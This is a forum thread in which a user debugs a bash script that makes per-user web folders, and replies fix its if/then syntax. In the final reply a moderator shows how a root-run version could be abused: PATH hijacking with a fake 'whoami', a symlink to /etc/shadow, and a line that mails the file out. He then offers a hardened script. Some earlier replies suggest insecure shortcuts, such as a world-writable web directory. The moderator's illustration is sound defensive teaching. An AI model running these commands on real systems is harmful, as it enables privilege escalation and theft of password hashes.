LinuxQuestions.org
Welcome to the most active Linux Forum on the web.
Home Forums Tutorials Articles Register
Go Back   LinuxQuestions.org > Forums > Non-*NIX Forums > Programming
User Name
Password
Programming This forum is for all programming questions.
The question does not have to be directly related to Linux and any language is fair game.

Notices


Reply
  Search this Thread
Old 11-15-2003, 10:47 PM   #1
evilchild
Member
 
Registered: Sep 2003
Location: 127.0.0.1
Distribution: *bsd, solaris, gentoo
Posts: 86

Rep: Reputation: 15
bash script problem with "else"


ok, i writting a bash script for users that request webspace the problem is when i run the script i get a syntax error on line 17 with else
heres the script
{
#!/bin/bash
# web space tool built by seejay

me=$(whoami)
choice = " "


echo "With your existing shell account you can create a web page you can access threw your account, but you must know html in order to use this feature, are you sure you want to create a web account ? yes or no"
read choice

# if user says yes there dir is created in the web folder
if choice = "yes"
mkdir /var/www/html/$me/
echo "your web folder is /var/www/html/$me/ and can be viewed at myweb.site/$me/ "


else
echo your web folder will not be created, thanks for using n3tlab
exit
fi

done
}
another problem is that the command "mkdir /var . .. . . " will need to run as root but, exactly how would i do that?

thanks
 
Old 11-15-2003, 11:48 PM   #2
teval
Member
 
Registered: Jul 2003
Location: Toronto, Canada
Distribution: Gentoo
Posts: 720

Rep: Reputation: 30
To fix the mkdir you would have to add

su

before it
This would mean typing in the root password every time.
 
Old 11-16-2003, 04:03 AM   #3
/bin/bash
Senior Member
 
Registered: Jul 2003
Location: Indiana
Distribution: Mandrake Slackware-current QNX4.25
Posts: 1,802

Rep: Reputation: 47
You need a then before the else

if
then
else
fi

Also your if is not right:
if [ $choice = "yes" ]
then
 
Old 11-16-2003, 12:44 PM   #4
evilchild
Member
 
Registered: Sep 2003
Location: 127.0.0.1
Distribution: *bsd, solaris, gentoo
Posts: 86

Original Poster
Rep: Reputation: 15
well with the changes /bin/bash said to make the script still wont work no matter what i type at the prompt when it ask "yes or no" it trys to created to directory anyways, and i know that in order for this script to run as root, i would have to put "su root" and then enter the password but is there any way i could make it "sudo root" and have the script enter the password with out the user having too ?
here's the changes i made
#!/bin/bash
# web started tool built by seejay

me=$(whoami)
choice=" "

#intro for user
echo "With your existing shell account you can create a web page you can access threw your account, but you must know html in order to use this feature, are you sure you want to create a web account ? yes or no"
read choice

# if user says yes there dir is created in the web folder
if [ $choice="yes" ]
then
mkdir /var/www/html/$me/
echo "your web folder is /var/www/html/$me/ and can be viewed at myweb.site/$me/ "
exit

#if user says no or anything else
else
echo "your web folder will not be created, thanks for using n3tlab"
exit
fi
#done
 
Old 11-16-2003, 12:59 PM   #5
crash748
LQ Newbie
 
Registered: Aug 2003
Posts: 18

Rep: Reputation: 0
You can make the /var/www/html dir read & writable for everywone.

If they can't make a dir or folder, they can't upload any files aswell

Last edited by crash748; 11-16-2003 at 01:01 PM.
 
Old 11-16-2003, 04:18 PM   #6
evilchild
Member
 
Registered: Sep 2003
Location: 127.0.0.1
Distribution: *bsd, solaris, gentoo
Posts: 86

Original Poster
Rep: Reputation: 15
is there away i can make the script sudo root and the script enters the pass, then set the permissions on the script so that users cant read it but they can execute it, and in script put a chown command that sets the user as the owner of their web folder? do u think that could be done?
 
Old 11-16-2003, 05:09 PM   #7
evilchild
Member
 
Registered: Sep 2003
Location: 127.0.0.1
Distribution: *bsd, solaris, gentoo
Posts: 86

Original Poster
Rep: Reputation: 15
ok i sovled the problem of "mkdir /var/www/html" , by making a folder call freespace that every one could write to, but the next problem is that no matter what the user inputs it creates them a folder even if the user says "no"
here's the modifcations i made to the script
{
#!/bin/bash
# web started tool built by seejay

me=$(whoami)
choice=" "
clear
#intro for user
echo With your existing shell account you can create a web page you can access threw your account, but you must know html in order to use this feature, are you sure you want to create a web account ? yes or no
read choice

# if user says yes there dir is created in the web folder
if [ $choice="yes" ]
then
mkdir /var/www/html/freespace/$me/
echo "your web folder is /var/www/html/freespace/$me/ and can be viewed at mysite/freespace/$me/"
chown $me /var/www/html/freespace/$me
exit

#if user says no or anything else
else
echo "your web folder will not be created, thanks for using n3tlab"
exit
fi
}
 
Old 11-16-2003, 06:09 PM   #8
/bin/bash
Senior Member
 
Registered: Jul 2003
Location: Indiana
Distribution: Mandrake Slackware-current QNX4.25
Posts: 1,802

Rep: Reputation: 47
Sometimes you need whitespace and sometimes you don't?
This will work.
if [ $choice = "yes" ]
 
Old 11-16-2003, 06:45 PM   #9
evilchild
Member
 
Registered: Sep 2003
Location: 127.0.0.1
Distribution: *bsd, solaris, gentoo
Posts: 86

Original Poster
Rep: Reputation: 15
ok i took out the spaces . . . if [$choice="yes"] because at first there where spaces between the [ and $ and another between " ], any ways the script works but now when i run it and enter no i get
"With your existing shell account you can create a web page you can access threw your account, but you must know html in order to use this feature, are you sure you want to create a web account ? yes or no
no
/home/seejay/bin/webhosting: line 12: [no=yes]: command not found
your web folder will not be created, thanks for using n3tlab"
 
Old 11-16-2003, 08:57 PM   #10
unSpawn
Moderator
 
Registered: May 2001
Posts: 29,415
Blog Entries: 55

Rep: Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600
is there away i can make the script sudo root and the script enters the pass, then set the permissions on the script so that users cant read it but they can execute it, and in script put a chown command that sets the user as the owner of their web folder? do u think that could be done?
My answers would be yes, yes, yes and yes.

However, since this will prolly run as root...
[evilchild@localhost /var/tmp]$ PATH=.:$PATH
[evilchild@localhost /var/tmp]$ echo "echo evilchild" > whoami
[evilchild@localhost /var/tmp]$ chmod 0750 whoami
[evilchild@localhost /var/tmp]$ ln -sf /etc/shadow /var/www/html/freespace/evilchild
[evilchild@localhost /var/tmp]$ <runs script>
]With your existing shell account you can create a web page you can access threw your account, but you must know html in order to use this feature, are you sure you want to create a web account ? yes or no
[evilchild@localhost /var/tmp]$ yes
mkdir /var/www/html/freespace/evilchild/
your web folder is /var/www/html/freespace/evilchild/ and can be viewed at mysite/freespace/evilchild/
chown evilchild /var/www/html/freespace/evilchild
[evilchild@localhost /var/tmp]$ cat /var/www/html/freespace/evilchild | mail -s some@account


Even if the above doesn't work, you get the idea. Never trust user input.
Here's an example of how I would do checking, YMMV(VM)? as usual:
Code:
#!/bin/sh
IAM="apply4web.sh"
# Minimal sanitising env
IFS=$' \t\n'; PATH=/bin:/usr/bin
# System UID's should not have a web account
UID_MIN=( $(grep /etc/login.defs -Ee ".?UID_MIN") )
UID_MIN=${UID_MIN[1]}; test -z UID_MIN && exit 1
UID_MAX=( $(grep /etc/login.defs -Ee ".?UID_MAX") )
UID_MAX=${UID_MAX[1]}; test -z UID_MAX && exit 1
# Some flags :-]
set -e -f -u +C +H +P
# Root of server
declare -r WWW_ROOT="/var/www/html/freespace"
# Array, holds user data, if no "getent" use "grep". I refuse to awk for this.
OFS="${IFS}"; IFS=":"
declare -ar name=( $(/usr/bin/getent passwd $(/usr/bin/id -u)) )
IFS=${OFS}; declare -r n="${name[0]}"; declare -r u="${name[2]}"
# Function, logs to syslog on failure
__you_failed() { logger -f /var/log/${IAM}.log -i "$0, in $FUNCNAME: ${name[@]}, status FAILED"; exit 1; }
__log_success() {logger -f /var/log/${IAM}.log -i "make "${WWW_ROOT}/$n", status kinda OK"
}
# Function, checks answer itself. Sue me for overkill
__chk_ans() { case "${#choice}" in 0) __you_failed;; esac
case "$(echo ${choice} | tr [A-Z] [a-z])" in y|yes);; *) exit 1;; esac; }
# Function, checks username and UID for lenght, max chars etc
__chk_u() { case "${#n}" in 0) __you_failed;; esac
if [ "${#n}" -gt "15" ]; then __you_failed; fi
if [ "X$(echo "$n" | tr -d [a-zA-Z0-9])" != "X" ]; then __you_failed; fi
if [ "$u" -lt "$UID_MIN" -o "$u" -gt "$UID_MAX" ]; then __you_failed; fi; }
# Function, checks server root dir and userdir existence
__chk_dirs() { test -e "${WWW_ROOT}" || exit 1
test -d "${WWW_ROOT}/$n" && -install -o "$n" -m 0755 -d "${WWW_ROOT}/$n" || exit 1
test -d "${WWW_ROOT}/$n" && __log_success || exit 1; }
# Done. Let's play :-]
clear
echo "With your existing shell account you can create a web page you can access through \
your account, but you must know HTML in order to use this feature. Are you sure you want \
to create a web account? [y|n|q]"; read choice && __chk_ans && __chk_u && __chk_dirs && \
eval echo "your web folder is ${WWW_ROOT}/$u/ and can be viewed at mysite/freespace/$u/"
exit $?
...however this doesn't automagically mean this script is safe to run as root. The best way would be to queue the "mkdirs" and let root approve manually.

Funny thing is with scripting, if you also make a procmail recipe, you could have them "true | mail "REQ web account" hostmaster@localhost" and automate the whole thing...

Last edited by unSpawn; 11-16-2003 at 09:02 PM.
 
  


Reply



Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is Off
HTML code is Off



Similar Threads
Thread Thread Starter Forum Replies Last Post
bash script: using "select" to show multi-word options? (like "option 1"/"o zidane_tribal Programming 7 12-19-2015 01:03 AM
How to write a bash script to replace all "KH" to "K" in file ABC??? cqmyg5 Slackware 4 07-24-2007 09:00 AM
searching "TIC TAC TOE" bash script LV-chronos Linux - Newbie 5 05-29-2005 02:20 PM
Can't install "glibmm" library. "configure" script can't find "sigc++-2.0&q kornerr Linux - General 4 05-10-2005 02:32 PM
Bash Script: Problem running variable command containing "" Paasan Programming 2 01-21-2004 01:45 AM

LinuxQuestions.org > Forums > Non-*NIX Forums > Programming

All times are GMT -5. The time now is 04:11 AM.

Main Menu
Advertisement
My LQ
Write for LQ
LinuxQuestions.org is looking for people interested in writing Editorials, Articles, Reviews, and more. If you'd like to contribute content, let us know.
Main Menu
Syndicate
RSS1  Latest Threads
RSS1  LQ News
Twitter: @linuxquestions
Open Source Consulting | Domain Registration